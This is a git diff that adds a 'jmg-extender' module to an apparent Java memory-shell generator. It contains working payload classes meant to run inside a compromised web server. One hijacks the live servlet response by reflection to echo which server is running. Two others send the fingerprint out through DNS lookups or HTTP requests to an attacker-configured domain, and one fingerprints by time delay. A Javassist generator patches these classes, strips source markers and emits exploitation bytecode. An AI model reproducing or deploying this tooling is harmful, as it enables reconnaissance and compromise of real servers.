diff --git a/jmg-extender/pom.xml b/jmg-extender/pom.xml
new file mode 100644
index 0000000..3b31dff
--- /dev/null
+++ b/jmg-extender/pom.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>${project.build.version}</version>
+    </parent>
+
+    <artifactId>jmg-extender</artifactId>
+
+    <properties>
+        <maven.compiler.source>8</maven.compiler.source>
+        <maven.compiler.target>8</maven.compiler.target>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    </properties>
+    <dependencies>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-core</artifactId>
+            <version>${project.build.version}</version>
+            <scope>compile</scope>
+        </dependency>
+    </dependencies>
+
+</project>
\ No newline at end of file
diff --git a/jmg-extender/src/main/java/jmg/extender/detector/DFSEchoDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/DFSEchoDetector.java
new file mode 100644
index 0000000..136faf1
--- /dev/null
+++ b/jmg-extender/src/main/java/jmg/extender/detector/DFSEchoDetector.java
@@ -0,0 +1,151 @@
+package jmg.extender.detector;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashSet;
+import java.util.Map;
+
+public class DFSEchoDetector {
+    static HashSet<Object> h;
+    static ClassLoader cl = Thread.currentThread().getContextClassLoader();
+    static Class hsr;//HTTPServletRequest.class
+    static Class hsp;//HTTPServletResponse.class
+    static Object r;
+    static Object p;
+
+    static {
+        new DFSEchoDetector();
+    }
+
+    private static String server_type = "none";
+
+
+    public DFSEchoDetector() {
+        initServerType();
+        r = null;
+        p = null;
+        h =new HashSet<Object>();
+        try {
+            hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
+            hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+        }
+        F(Thread.currentThread(),0);
+    }
+
+    private static boolean i(Object obj){
+        if(obj==null|| h.contains(obj)){
+            return true;
+        }
+
+        h.add(obj);
+        return false;
+    }
+    private static void p(Object o, int depth){
+        if(depth > 52||(r !=null&& p !=null)){
+            return;
+        }
+        if(!i(o)){
+            if(r ==null&&hsr.isAssignableFrom(o.getClass())){
+                r = o;
+                //Tomcat特殊处理
+                try {
+                    Method getResponse = r.getClass().getMethod("getResponse");
+                    p = getResponse.invoke(r);
+                } catch (Exception e) {
+                    r=null;
+                }
+
+            }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
+                p =  o;
+            }
+            if(r !=null&& p !=null){
+                try {
+                    PrintWriter pw =  (PrintWriter)hsp.getMethod("getWriter").invoke(p);
+                    pw.println(server_type);
+                    pw.flush();
+                    pw.close();
+
+                }catch (Exception e){
+                }
+                return;
+            }
+
+            F(o,depth+1);
+        }
+    }
+    private static void F(Object start, int depth){
+
+        Class n=start.getClass();
+        do{
+            for (Field declaredField : n.getDeclaredFields()) {
+                declaredField.setAccessible(true);
+                Object o = null;
+                try{
+                    o = declaredField.get(start);
+
+                    if(!o.getClass().isArray()){
+                        p(o,depth);
+                    }else{
+                        for (Object q : (Object[]) o) {
+                            p(q, depth);
+                        }
+
+                    }
+
+                }catch (Exception e){
+                }
+            }
+
+        }while(
+                (n = n.getSuperclass())!=null
+        );
+    }
+
+    public static void initServerType() {
+        Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
+        for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
+            StackTraceElement[] stackTraceElements = entry.getValue();
+            for (StackTraceElement element : stackTraceElements) {
+                if (element.getClassName().contains("org.apache.catalina.core")) {
+                    server_type = "tomcat";
+                    return;
+                }
+                if (element.getClassName().contains("weblogic.servlet.internal")) {
+                    server_type = "weblogic";
+                    return;
+                }
+                if (element.getClassName().contains("com.caucho.server")) {
+                    server_type = "resin";
+                    return;
+                }
+                if (element.getClassName().contains("org.eclipse.jetty.server")) {
+                    server_type = "jetty";
+                    return;
+                }
+                if (element.getClassName().contains("com.ibm.ws")) {
+                    server_type = "websphere";
+                    return;
+                }
+                if (element.getClassName().contains("io.undertow.server")) {
+                    server_type = "undertow";
+                    return;
+                }
+                if (element.getClassName().contains("com.tongweb.web")) {
+                    server_type = "tongweb";
+                    return;
+                }
+                if (element.getClassName().contains("com.apusic.web")) {
+                    server_type = "apusic";
+                    return;
+                }
+                if (element.getClassName().contains("org.springframework.web")) {
+                    server_type = "spring";
+                    return;
+                }
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java
new file mode 100644
index 0000000..11d2cd5
--- /dev/null
+++ b/jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java
@@ -0,0 +1,80 @@
+package jmg.extender.detector;
+
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Map;
+
+public class DNSLogDetector {
+
+    static {
+        new DNSLogDetector();
+    }
+
+    public DNSLogDetector(){
+        sendServerType();
+    }
+
+    public static String getDomain(){
+        return "";
+    }
+
+    private static void sendServerType() {
+        ArrayList<String> serverTypes = getServerType();
+        String dns_domain = getDomain();
+        String domain = "";
+        try {
+            for (int i = 0; i < serverTypes.size(); i++) {
+                Object obj = serverTypes.get(i);
+                domain = String.format("%s.%d.%s",obj,System.nanoTime(),dns_domain);
+                InetAddress.getAllByName(domain);
+            }
+        } catch (UnknownHostException e) { }
+    }
+
+    public static ArrayList<String> getServerType() {
+        ArrayList<String> serverTypes = new ArrayList<>();
+        Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
+        for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
+            StackTraceElement[] stackTraceElements = entry.getValue();
+            for (StackTraceElement element : stackTraceElements) {
+                if (element.getClassName().contains("org.apache.catalina.core")) {
+                    serverTypes.add("tomcat");
+                }
+                if (element.getClassName().contains("weblogic.servlet.internal")) {
+                    serverTypes.add("weblogic");
+                }
+                if (element.getClassName().contains("com.caucho.server")) {
+                    serverTypes.add("resin");
+                }
+                if (element.getClassName().contains("org.eclipse.jetty.server")) {
+                    serverTypes.add("jetty");
+                }
+                if (element.getClassName().contains("com.ibm.ws")) {
+                    serverTypes.add("websphere");
+                }
+                if (element.getClassName().contains("io.undertow.server")) {
+                    serverTypes.add("undertow");
+                }
+                if (element.getClassName().contains("com.tongweb.web")) {
+                    serverTypes.add("tongweb");
+                }
+                if (element.getClassName().contains("com.apusic.web")) {
+                    serverTypes.add("apusic");
+                }
+                if (element.getClassName().contains("org.springframework.web")) {
+                    serverTypes.add("spring");
+                }
+            }
+            if (serverTypes.size() > 7){
+                return serverTypes;
+            }
+        }
+
+        if(serverTypes.size() == 0){
+            serverTypes.add("none");
+        }
+
+        return serverTypes;
+    }
+}
diff --git a/jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java
new file mode 100644
index 0000000..0e09e42
--- /dev/null
+++ b/jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java
@@ -0,0 +1,86 @@
+package jmg.extender.detector;
+
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Map;
+
+
+public class HTTPLogDetector {
+
+    static {
+        new HTTPLogDetector();
+    }
+
+
+    public HTTPLogDetector() {
+        sendServerType();
+    }
+
+    public static String getBaseURL() {
+        return "";
+    }
+
+
+    private static void sendServerType() {
+        ArrayList<String> serverTypes = getServerType();
+        String baseurl = getBaseURL();
+        try {
+            for (int i = 0; i < serverTypes.size(); i++) {
+                Object server_type = serverTypes.get(i);
+                String tmpUrl = String.format("%s/%s", baseurl, server_type);
+                new java.net.URL(tmpUrl).getContent();
+            }
+        } catch (UnknownHostException ignored) {
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+
+    public static ArrayList<String> getServerType() {
+        ArrayList<String> serverTypes = new ArrayList<>();
+        Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
+        for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
+            StackTraceElement[] stackTraceElements = entry.getValue();
+            for (StackTraceElement element : stackTraceElements) {
+                if (element.getClassName().contains("org.apache.catalina.core")) {
+                    serverTypes.add("tomcat");
+                }
+                if (element.getClassName().contains("weblogic.servlet.internal")) {
+                    serverTypes.add("weblogic");
+                }
+                if (element.getClassName().contains("com.caucho.server")) {
+                    serverTypes.add("resin");
+                }
+                if (element.getClassName().contains("org.eclipse.jetty.server")) {
+                    serverTypes.add("jetty");
+                }
+                if (element.getClassName().contains("com.ibm.ws")) {
+                    serverTypes.add("websphere");
+                }
+                if (element.getClassName().contains("io.undertow.server")) {
+                    serverTypes.add("undertow");
+                }
+                if (element.getClassName().contains("com.tongweb.web")) {
+                    serverTypes.add("tongweb");
+                }
+                if (element.getClassName().contains("com.apusic.web")) {
+                    serverTypes.add("apusic");
+                }
+                if (element.getClassName().contains("org.springframework.web")) {
+                    serverTypes.add("spring");
+                }
+            }
+            if (serverTypes.size() > 7){
+                return serverTypes;
+            }
+        }
+
+        if(serverTypes.size() == 0){
+            serverTypes.add("none");
+        }
+
+        return serverTypes;
+    }
+}
diff --git a/jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java
new file mode 100644
index 0000000..2c67a88
--- /dev/null
+++ b/jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java
@@ -0,0 +1,71 @@
+package jmg.extender.detector;
+
+import java.util.Map;
+
+public class SleepDetector {
+
+    static {
+        new SleepDetector();
+    }
+
+    public SleepDetector() {
+        initServerType();
+    }
+
+    public static String getServerType() {
+        return "tomcat";
+    }
+
+    private static void execSleep() {
+        try {
+            Thread.sleep(5000);
+        } catch (Exception e) {
+        }
+    }
+
+    public static void initServerType() {
+        String target_server_type = getServerType();
+        Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
+        for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
+            StackTraceElement[] stackTraceElements = entry.getValue();
+            for (StackTraceElement element : stackTraceElements) {
+                if (target_server_type.equals("tomcat") && element.getClassName().contains("org.apache.catalina.core")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("weblogic") && element.getClassName().contains("weblogic.servlet.internal")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("resin") && element.getClassName().contains("com.caucho.server")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("jetty") && element.getClassName().contains("org.eclipse.jetty.server")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("websphere") && element.getClassName().contains("com.ibm.ws")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("undertow") && element.getClassName().contains("io.undertow.server")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("tongweb") && element.getClassName().contains("com.tongweb.web")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("apusic") && element.getClassName().contains("com.apusic.web")) {
+                    execSleep();
+                    return;
+                }
+                if (target_server_type.equals("spring") && element.getClassName().contains("org.springframework.web")) {
+                    execSleep();
+                    return;
+                }
+            }
+        }
+    }
+}
diff --git a/jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java b/jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java
new file mode 100644
index 0000000..0f3601b
--- /dev/null
+++ b/jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java
@@ -0,0 +1,64 @@
+package jmg.extender.generator;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.util.CtClassUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.extender.util.DetectorUtil;
+
+/**
+ * 中间件/框架探测器
+ */
+public class ExtenderGenerator {
+
+    public byte[] makeShell(AbstractConfig config) throws Exception {
+        String detectorClassName = DetectorUtil.getDetectorClassName(config.getDetectWay());
+        byte[] bytes = Utils.generate(detectorClassName, config);
+        config.setExtenderBytes(bytes);
+        config.setExtenderBytesLength(bytes.length);
+        return bytes;
+    }
+
+
+    public static class Utils {
+        @SuppressWarnings("unchecked")
+        private final static ClassPool pool = ClassPool.getDefault();
+        private static byte[] bytes;
+
+        public static byte[] generate(String detectorClassName, AbstractConfig config) throws Exception {
+            pool.insertClassPath(new ClassClassPath(ExtenderGenerator.class));
+            CtClass ctClass = pool.getCtClass(detectorClassName);
+            JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName());
+            if (config.getDetectWay().contains(Constants.DETECT_DNS)) {
+                if (config.getDnsDomain() != null) {
+                    CtMethod getDomain = ctClass.getDeclaredMethod("getDomain");
+                    getDomain.setBody(String.format("{return \"%s\";}", config.getDnsDomain()));
+                }
+            } else if (config.getDetectWay().contains(Constants.DETECT_HTTP)) {
+                if (config.getDnsDomain() != null) {
+                    CtMethod getBaseURL = ctClass.getDeclaredMethod("getBaseURL");
+                    getBaseURL.setBody(String.format("{return \"%s\";}", config.getBaseUrl()));
+                }
+            } else if (config.getDetectWay().contains(Constants.DETECT_SLEEP)) {
+                if (config.getSleepTime() != null) {
+                    CtMethod getSeconds = ctClass.getDeclaredMethod("execSleep");
+                    getSeconds.setBody(String.format("try{java.lang.Thread.sleep(%sL);}catch (Exception e){}", Integer.valueOf(config.getSleepTime()) * 1000));
+                }
+                if (config.getServerType() != null) {
+                    CtMethod getServerType = ctClass.getDeclaredMethod("getServerType");
+                    getServerType.setBody(String.format("{return \"%s\";}", config.getServerType().toLowerCase()));
+                }
+            }
+            JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName());
+            JavassistUtil.removeSourceFileAttribute(ctClass);
+            bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
+            ctClass.detach();
+
+            return bytes;
+        }
+    }
+}
diff --git a/jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java b/jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java
new file mode 100644
index 0000000..6da0c68
--- /dev/null
+++ b/jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java
@@ -0,0 +1,33 @@
+package jmg.extender.util;
+
+import jmg.core.config.Constants;
+import jmg.extender.detector.DFSEchoDetector;
+import jmg.extender.detector.DNSLogDetector;
+import jmg.extender.detector.HTTPLogDetector;
+import jmg.extender.detector.SleepDetector;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class DetectorUtil {
+
+    private static final Map<String, String> DETECTOR_CLASSNAME_MAP = new HashMap();
+
+    public DetectorUtil() {
+    }
+
+    public static String getDetectorClassName(String detectWay) throws Exception {
+        if (DETECTOR_CLASSNAME_MAP.get(detectWay) == null) {
+            throw new Exception("Invalid detect way  '" + detectWay + "'");
+        } else {
+            return DETECTOR_CLASSNAME_MAP.getOrDefault(detectWay, "");
+        }
+    }
+
+    static {
+        DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DFSECHO, DFSEchoDetector.class.getName());
+        DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DNS, DNSLogDetector.class.getName());
+        DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_HTTP, HTTPLogDetector.class.getName());
+        DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_SLEEP, SleepDetector.class.getName());
+    }
+}
diff --git a/pom.xml b/pom.xml
index 986ea2f..ec6156b 100644
--- a/pom.xml
+++ b/pom.xml
@@ -15,8 +15,8 @@
         <module>jmg-gui</module>
         <module>jmg-neoregeorg</module>
         <module>jmg-suo5</module>
+        <module>jmg-extender</module>
 <!--        <module>jmg-woodpecker</module>-->
-<!--        <module>jmg-extender</module>-->
 <!--        <module>jmg-cli</module>-->
 <!--        <module>jmg-sdk</module>-->
     </modules>